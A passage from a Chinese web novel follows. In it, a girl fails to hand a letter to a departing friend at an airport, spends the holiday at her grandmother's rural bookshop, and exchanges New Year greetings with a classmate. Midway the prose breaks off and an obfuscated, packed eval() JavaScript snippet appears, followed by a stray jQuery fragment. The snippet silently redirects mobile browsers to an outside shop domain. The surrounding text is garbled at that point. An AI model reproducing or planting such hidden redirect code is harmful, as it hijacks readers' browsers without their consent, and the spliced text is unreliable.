有一些话，不适合通过手机屏幕传达，却又羞于亲口说出，书信便成了最好的方法。
时苡初出门的时候看了眼时间。
十点二十。
距离机场大约需要半小时的路程。
她又点开了相册，是昨天邹柯然发给她的，一张从青城到京城的机票。
起飞时间是下午两点。
到机场的时候，堪堪十一点。
时苡初付了钱，推开车门，冷风吹进衣领，她下意识地缩了缩脖子，握紧了手中的信封。
她其实还没想好，见了人该说什么。
好在，想说的话，已经写进了信里。
时苡初低头，看了眼手机的照片，确认江言笙在哪个登机口。
还未动，便被突然涌来的人群挤得往旁边退了几步。
时苡初还没反应过来，就被人推着往旁边踉跄了几步。
尖叫声、快门声、混乱的脚步声交织在一起，震得她耳膜发疼。
人太多了，时苡初只能往旁边靠了些，让出位置，握着信纸的手收紧了几分。
“让开！让开！”
“贺屿白，哥哥！”
“别挤他！你们别挤他！”
时苡初从一声又一声的尖叫声中，艰难地辨出了一个名字。
贺屿白。
就是并不追星的时苡初，对这个名字也格外的熟悉。
教室的课桌上，校园墙上的帖子里，甚至是林诗予的手机壳，都有这个人的身影。
一年前的一部选秀节目上，他以高出第二名三千万票的成绩成功C位出道，此后，这个名字便在热搜上长居不下。
林诗予曾经拿着他的照片给她看，信誓旦旦地说，“你看他这张脸，不火简直天理难容。”
时苡初当时看了一眼，确实好看，但也仅此而已。
她没想到自己会在机场和他撞上。
好在距离江言笙两点多的航班还有一段时间，时苡初往后又退了些，确认自己不会再被疯狂的粉丝挤到后，这才抬头往人群看去。
粉丝们举着单反和手机，从她面前呼啸而过，口中喊着“哥哥看这里”“贺屿白我爱你”，声浪一波高过一波。
被围在中间的人戴着黑色口罩和鸭舌帽，只露出一双狭长的眼睛，步伐很快，对周围的尖叫置若罔闻。
他的团队工作人员张开手臂，艰难地替他挡开人群，一边走一边喊，“让一让，谢谢，让一让。”
整个过程持续了约十分钟，机场的安保人员很快赶来，贺屿白在安保的护送下，很快消失在了标着“工作人员通道”的玻璃门后。
有几个不死心的粉丝还在举着手机想往里拍，但很快就被安保拦下。
时苡初收回视线，正想去找江言笙，握在手中的手机震动了一下，她低头看了一眼，是邹柯然的消息。
「邹柯然：她已经过安检了，贺屿白那边行程泄露，机场被围了，他们团队只能直接走特殊通道提前安检。」
时苡初没懂。
「初一：这和言笙有什么关系？」
「邹柯然：我也刚刚才知道，找言笙的星探是贺屿白的经纪人。」
时苡初盯着那行字，沉默了瞬。
握着信封的手松了又紧，发出细微的声响。
机场的大厅中只剩下零星的几个人，和广播里温柔重复着的航班信息。
时苡初青春的第一个遗憾，是一封没能送出的信。
下次再见，或许就该是在电视屏幕上了。
时苡初没有再走进机场，而是站在门口，又打了辆车回家。
坐在车内时，她目光落在车窗上，望着飞快后退的车流。
想了想，到底是拿起了手机，点开了和江言笙的聊天框。
指尖在屏幕上敲敲打打之后，最后只发出来一行字。
「初一：走了？」
那边迟迟没有没有回复，时苡初摁灭了手机屏幕，目光落在手中的信封上。
她想起和江言笙的第一次相遇。
七岁那年的夏天，她孤零零的一个人站在路边，穿着一身白裙子，眼眶微微泛红，神情却如同现在一般孤傲。
时苡初带她回了家，也因此迎来了姥姥的一顿叩问。
“一一，这是谁家的孩子啊？”
时苡初也不知道，只能摇了摇头。
还是姥姥牵着她们的手，一家一家的问，最后得出了她的由来。
父母离婚，所以把她扔到了乡下。
其实江言笙的爸爸为她准备好了住处，寻好了照顾她的人，但她还是偷偷溜了出来，然后就被时苡初捡回了家。
那年暑假，她给自己找了个玩伴。
此后的每一年的假期，这个玩伴都会出现，站在院门口，在她打开门时，笑着说上一句。
“你好像又高了点呢。”
直到她转学到青城。
她们之间隔着的，便不再是乡间的小路，而是一座城市，和两颗不知道怎么开口的心。
手机屏幕亮了一瞬。
是温若茗在问她什么时候回家。
「初一：在路上了。」
「温若茗：好，注意安全。」
时苡初偏过头，再次望向窗外。
手中的信封拿了一路，表面已经多了好几条褶皱。
时苡初没去管它。
关于这封信，时苡初在假期的时候得知了江言笙所在的娱乐公司的地址，并将信寄出，却又在配送的路途中丢失了。
再后来，江言笙换了电话号码，连带着其他的联系方式也全换了，她便彻底失去了与她的联系。
遗憾吗？
应该吧，可青春，不就是在这一个又一个遗憾中度过的吗？
……
假期的第三天，时苡初坐上了回乡下的车。
姥姥早早地就在村口等着她，见她来了，便快步迎来上来，一边握着她的手，一边念叨。
“瘦了啊，是不是没好好吃饭？”
时苡初乖乖地站着，任由她摆布。
乡下的冬天比青城的暖些，时苡初坐在房内，看着姥姥慢慢给她铺床。
其实她想自己铺的，但老人家不让，只让她在旁边坐着，听她讲村里这半年来的事情。
谁家的孙子考上了大学，谁家的老人走了，谁家有出息的孩子给村里捐了款，新建了条路。
“对了，笙丫头呢？她还想这两年都没来了。”
时苡初面上的笑微微敛下，只轻声地说，“她去京城了。”
“京城好啊，大城市。”姥姥说着，没有再追问。
乡下的日子格外的安宁。
时苡初白天就跟着姥姥到书店帮忙。
说是帮忙，实际上就是坐在一侧，写自己的作业，偶尔在有人进来时，听着姥姥的话叫上一声好，然后听一些场面话的夸奖。
老人家曾经是个人民教师，等到退了休，便开起这家书店，到了现在，也有十几年了。
铺面不大，放着几张书桌，供放学的孩童来写作业，也不收钱，只图一个热闹。
温若茗曾跟她商量过把铺子关了，老人家不让，说自己就喜欢热闹。
假期的时间，店里的小孩就更多了些。
时苡初每年假期都在，那些小孩便也都认识了她，遇到不会的问题，就拿着书本一点点地移到她的身边。
“姐姐，这道题我不会。”
时苡初轻笑了声，接过他手中的本子，题目不难，但小朋友脑子转不过弯，她便放慢了些语速，一步步地拆解。
放在桌上的手机震动了一下，她没有立刻去看。
等
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775034|209227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小朋友终于点了头，拿着自己的本子蹦蹦跳跳地回到自己原先的位置，时苡初这才拿起手机。
是温若茗的消息。
「温若茗：一一，我和爸爸明天回去。」
时苡初愣了一瞬，看了眼日期，才发现，还有三天就过年了。
她回了个“好”，抬眼望向坐在店门口旁的姥姥。
她带着老花镜，手中正织着一条围巾，有时候是织给她的，有时候是织给村里一些没有父母在身边的留守儿童的。
温若茗回来那天，老人家难得没去书店，时苡初正在打扫着屋子，在柜子里翻出来一本旧相册。
照片已经有些泛黄，边角微微卷曲，但被保存得极好，一看就是平日很爱护的。
“你姥爷当年啊，可木了。”老人家端着一碗鸡汤走过来，凑近看了眼，“追我的时候也不知道送花，每天就站我班级门口等着。”
时苡初笑了，“那你还嫁给他。”
“谁让喜欢呢？”姥姥把鸡汤放在桌子上，声音温柔。
对于老人家的过往，时苡初向来有着强烈的探知欲，“姥姥当年为什么要学文学？”
老人家笑着摇了摇头，“我啊，家里人希望，便去了，倒是你姥爷，是家里人拼命阻止，也要去。”
时苡初好奇，“为什么？”
“他说，文学是他见过最美的学科，所有想知道的事情，书上都有着答案。”
姥姥说着，指了指她手中的照片册。
“这照片册是他向我求婚的时候送的，说是，想说的话，全在这了。”提起另一半，老人家的眼底就多了几分柔和与怀念。
时苡初打趣道，“不亲口说的话我们可不信。”
“我当时也是这么说的，姥姥的声音带上了几分笑意，“他就说，要用一辈子来说这一句话，只是，他还没说清楚，人就走了。”
时苡初沉默了片刻，把照片册合上，端起鸡汤喝了一口。
院外传来车辆的声音，时苡初偏了下头，是温若茗和时父来了。
……
除夕夜的十二点，时苡初看着漫天绽开的烟花，收到了新一年的第一声祝福。
来自沈临霁的。
「L：新年快乐。」
简简单单的四个字，像是群发。
时苡初盯着那条消息看了会，烟花的声响落在耳侧，还有温若茗让她早点休息的声音。
「新年快乐。」
一样的四个字，好像有些敷衍。
时苡初举起手机，对着天空的烟花拍了照片，发来出去。
沈临霁应该正拿着手机，很快就回了一条消息。
「L：在看烟花？」
「初一：嗯。」
「L：今年看到第一场烟花。」
时苡初愣了下，青城虽然禁烟花，但管控并不严格，依旧会有不少的人在除夕这夜放烟花。
「初一：不在青城？」
「L：嗯，在京城。」
时苡初这才想起来，期末考试结束那天，宋淮宁似乎在问他什么时候回京城。
回？
时苡初垂下眼，她果然还是不了解他。
很快，那边发来了一张图片。
窗外正落着雪，纷纷扬扬的，下雨就趴在窗台上，坐得笔直，坐的笔直，目光专注地望着窗外。
「L：京城没有烟花，但有雪。」
「很漂亮。」
「L：有机会可以来看看。」
时苡初看着那行字，又有些不知道怎么回了。
很快，那边又发过来一条消息。
「L：新年快乐。」
第二遍。
「谢谢，你也是，新年快乐。」
——
–新年快乐。
–2017.1.28